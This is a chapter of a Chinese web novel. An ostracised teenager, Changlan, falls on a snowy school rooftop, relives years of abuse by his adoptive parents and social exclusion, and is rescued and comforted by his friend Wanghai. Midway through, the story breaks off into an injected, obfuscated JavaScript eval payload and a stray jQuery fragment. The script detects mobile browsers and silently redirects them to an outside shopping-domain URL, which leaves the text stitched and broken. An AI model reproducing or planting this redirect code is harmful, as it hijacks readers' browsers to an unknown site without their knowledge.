周五下午，苌斓在天台上等忘海。
雪从昨夜下到现在，积了厚厚一层。那两个小雪人还立在矮墙上——歪扭的那个是他堆的，精致那个是忘海堆的，并排靠在一起，肩膀挨着肩膀，和上周初雪那天一模一样。他蹲下来，想把歪扭的那个脑袋扶正。手指刚碰到雪人冰凉的脸颊，身后传来了说笑声。
几个男生到天台上透气。他们看到苌斓，说笑声没有停，只是音量压低了半拍。那种压低不是礼貌，是本能——就像不会对着一张空椅子打招呼一样。其中一个的目光从他身上扫过，没有停留，就像扫过一件放在角落里早就看惯了的摆设。
苌斓站起来，想从另一侧楼梯口下去。他不怨他们。他们什么也没做，只是没跟他说话，只是没看他，只是在他靠近时对话会短暂地停顿半秒。半秒而已，什么都说明不了。但就是这半秒，从初中到高中，从走廊到教室，从食堂到操场，半秒加半秒加半秒，加成了他整个沉默的青春。
他走到楼梯口的时候，听见身后有人说了一句：“他走了。”不是叫他的名字。是“他”。这个称呼从初中开始就取代了他的名字。
“他到底每天来天台干什么。一个人。”另一个声音接了一句，语气里没有恶意，只有一种很淡的疑惑。但那种疑惑里藏着更深的意味——一个不合群的人，连独自待着都会让人觉得不对劲。
苌斓加快了脚步。天台地面上积了一层薄雪，下面是被冻得硬邦邦的水泥。他走得太急，脚跟踩到一块结了冰的凹陷，身体猛地往后一仰。那一瞬间极其短暂，短暂到他来不及喊出任何声音。但后脑勺磕在矮墙边缘上的闷响，他听得清清楚楚。
然后世界倾斜了。
他仰面摔在雪地上。剧痛从后脑勺炸开，温热的液体从伤口渗出来，流进雪里。灰白的天空在头顶旋转，雪花一片一片落在他的脸上、眼睛上、嘴唇上。他听见天台门口那边有一瞬的安静。然后有人说了一句：“他摔了。”然后是更长的安静。然后脚步声远去，不是靠近的，是离开的。不是跑，不是慌乱，是那种不紧不慢的、不想沾上麻烦的离开。
没有人过来。和很多年前一样。和每一次一样。
他躺在雪地上，血在白色的雪里洇开。天空的颜色从灰白变成灰，又从灰变成更深的灰。那些被他反复埋葬的记忆，被后脑勺的剧痛从意识最深处翻搅出来。
六岁。他端着一碗稀饭从厨房走向餐桌，养母从旁边经过，手肘碰了他一下。碗从手里滑落，摔碎在地上。他蹲下去捡碎片，手指被割破了，血混在稀饭里。养母低头看着他，表情很平静，平静得让他后背发凉。她说：“你什么时候能不做没用的事。”
没用的事。他这个人就是一件没用的事。
八岁。期末考了全班第三。他把成绩单叠成很小的方块塞进书包夹层。上一次拿了第二，养父让他跪在搓衣板上把错题抄了五十遍，说这叫帮他长记性。这次他把成绩单藏起来，但养母翻他书包时找到了。她看着那张叠得很小的纸，没有发火，只是把它放在桌上，用一种很温和的语气说：“你藏着干什么。又不是第一。谁要看。”她把成绩单就那么摊在桌上，没有还给他，也没有扔掉，像一个不被认可的证据。
十岁。他在学校被同学推倒，膝盖磕破了，校服蹭了一大块泥。他不敢回家，在楼道里坐了很久，用指甲一遍一遍刮校服上的泥印子，直到布料被刮得起毛。养母开门倒垃圾时看到他，上下打量了一眼。她什么都没问，只是说：“在外面丢人还不够，还带回家来。”然后关上了门。
十一岁。养父喝多了，把他从被窝里拎出来，说他翻身的动静太吵。他被锁在门外，冬天的寒风从楼道窗户灌进来。他穿着单薄的秋衣缩在角落里，用指甲抠着门板，不是想敲开那扇门，只是怕自己冻僵。他在门外缩了一整夜。第二天早上养母开门倒垃圾，从他身上跨过去，没有低头看他一眼。
十二岁。十三岁。十四岁。每一年都在继续。拧大腿内侧，掐上臂——不留痕迹，但让人蜷缩。用皮带——不准出声，不准掉眼泪，出声会被更狠地对待。他学会了一种很安静的方式：咬紧牙关，把所有声音都吞进肚子里。他们觉得他学乖了，其实他只是把所有的声音都吞进了一个不见底的地方。
但这些都不是最让他窒息的。最让他窒息的，是饭桌上那种沉默。三个人坐在餐桌前，他们交谈，他夹菜，咀嚼，吞咽，不发出一丝声响。他不是在吃饭，是在执行一个程序。养母偶尔抬头看他一眼，眼神里没有厌恶，没有愤怒，只有一种很淡的、理所当然的漠然。那个眼神的意思是：你在这里，但你不在。
初中。没有人动他，没有人骂他。只是他的名字渐渐消失了，变成了“那个人”。走廊里迎面走来的同学，目光从他身上掠过，和掠过墙壁、掠过公告栏一样自然。食堂里，他端着餐盘找空位坐下来，旁边的位置会一直空着。不是有人刻意避开，是没有人想到要坐过去。换座位时，没有人主动要和他坐。老师说“大家自由组合”，他就坐在原位不动，等着最后被分配到某个没坐满的小组。没有人露出异样的表情，只是所有人都刚好没有选他。这种“刚好”没有证据，你甚至无法开口。说了，人家会觉得你太敏感。“人家又没说你什么。”对，什么都没说。什么都没说才是最响亮的。
高中。一切照旧。没有人叫他的名字。新同学里总有几个会在开学第一周对他格外友好，然后会在某个时间点突然冷淡下来——也许是听到了什么，也许是有人好心提醒了什么。他们不会解释为什么不再跟他一起吃午饭，不会说明为什么小组讨论时不再主动叫他。他们只是慢慢地、温和地、不留痕迹地退出他的活动半径，像退潮一样。被留在岸上的，永远是同一块石头。
他在雪地上躺了很久。和很多年前那个操场上一样。雪花落在他脸上、眼睛上、嘴唇上，很凉。他等着自己重新爬起来。但这一次他爬不起来了。意识开始沉下去，往一个很深很深、没有光的地方沉。
然后他听见了声音。不是那些不冷不热的问句，不是“他摔了”然后远去的脚步。是他的名字。
“苌斓！苌斓！”
那个声音是嘶哑的。他从来没有听过忘海用这种声音说话。那个永远温和沉静的人，此刻声音劈叉，每一个字都带着颤抖。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724382|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那只每天早上递保温杯的手死死按住他的后脑勺，抖得比他自己还厉害。
“看着我。苌斓。看着我。救护车马上来。你不要闭眼睛。”
他想睁开眼睛，想告诉忘海——我不疼。但他睁不开。他只感觉到那只手一直按着他的伤口，一直没有松开。然后他被抬起来，有人在说话，声音急促而专业。救护车的鸣笛声划破了整个校园。
他在医院醒来的时候，先闻到的是消毒水的味道。然后是手心里的温度。忘海坐在病床边的椅子上，头靠着床沿睡着了。两只手都握着他的，掌心里有干涸的血迹，还没来得及洗。
苌斓看着那只手。就是这只手，每天早上递保温杯给他，在天台上折纸梧桐叶，在风口替他挡风。手上有茧，是磨豆浆磨出来的；有一道疤，是给他切核桃时留下的；有干涸的血迹，是他的血，还没洗。他没有抽手，只是把自己的手指轻轻弯了一下，回扣住忘海的掌心。
忘海立刻醒了。那双眼睛里还有没散尽的血丝，翻涌着后怕和失而复得的情绪。然后他什么都没说，只是把苌斓的手攥得更紧了一些。
“……你醒了。”
“嗯。”苌斓的声音有些哑，“围巾又脏了。你的围巾。上次是红枣茶，这次是血。两次都是那条深灰色的。”
“洗洗就好。洗不掉就留着。有血迹的围巾也是你的围巾。”
苌斓没有说话。他把忘海的手翻过来摊开掌心，用食指在上面写了两个字。一笔一划，很慢，很认真，和那天在起雾的车窗上写的一样，和上周在病房里写的一样。
望。海。
忘海看着自己的掌心，慢慢合上手指，把苌斓的食指连同那两个字一起收拢在手心里。他低下头，把额头抵在两人交握的手上，过了很久才开口。
“以后天台，不许一个人上去。等我一起。不许摔跤，不许流血，不许让我再经历一次今天下午。”
“好。”苌斓往旁边挪了挪，在病床上腾出一小块地方，“你上来。椅子上凉。”
忘海侧身坐在病床边。两人并肩靠着床头，肩膀挨着肩膀。苌斓把头轻轻靠在他的肩膀上，和天台上一样，和每一次分着喝豆浆时一样。
“……明天豆浆。红枣的。三颗。多放一颗，压压惊。你的惊，不是我的。我看你吓得比我还厉害。”
忘海的肩膀轻轻抖了一下。“好。红枣的。三颗。”
窗外雪停了。月光落在积雪上，透过病房的玻璃窗，落在两人并肩靠着的影子上。床头柜上放着那颗核桃，壳上的笑脸歪歪扭扭，是上周忘海重新描过的；旁边是保温杯，杯盖磕坏了一点，是第一天递热牛奶时摔的，用了很久，还留着。天台上的小雪人也在，歪扭的那个和精致的那个靠在一起，被新雪覆盖了一点点，但还在。
这一世的雪会停，伤口会愈合，围巾上的血会洗干净。那些旧伤疤不会消失，但会有新的、更温暖的记忆覆盖在上面。就像那颗核桃并排靠着那颗花生，那张纸条叠着那张糖纸。他的口袋和忘海的口袋是对称的。他不再是那个被留在岸上的石头了。有另一块石头，从百世轮回之前就开始找他。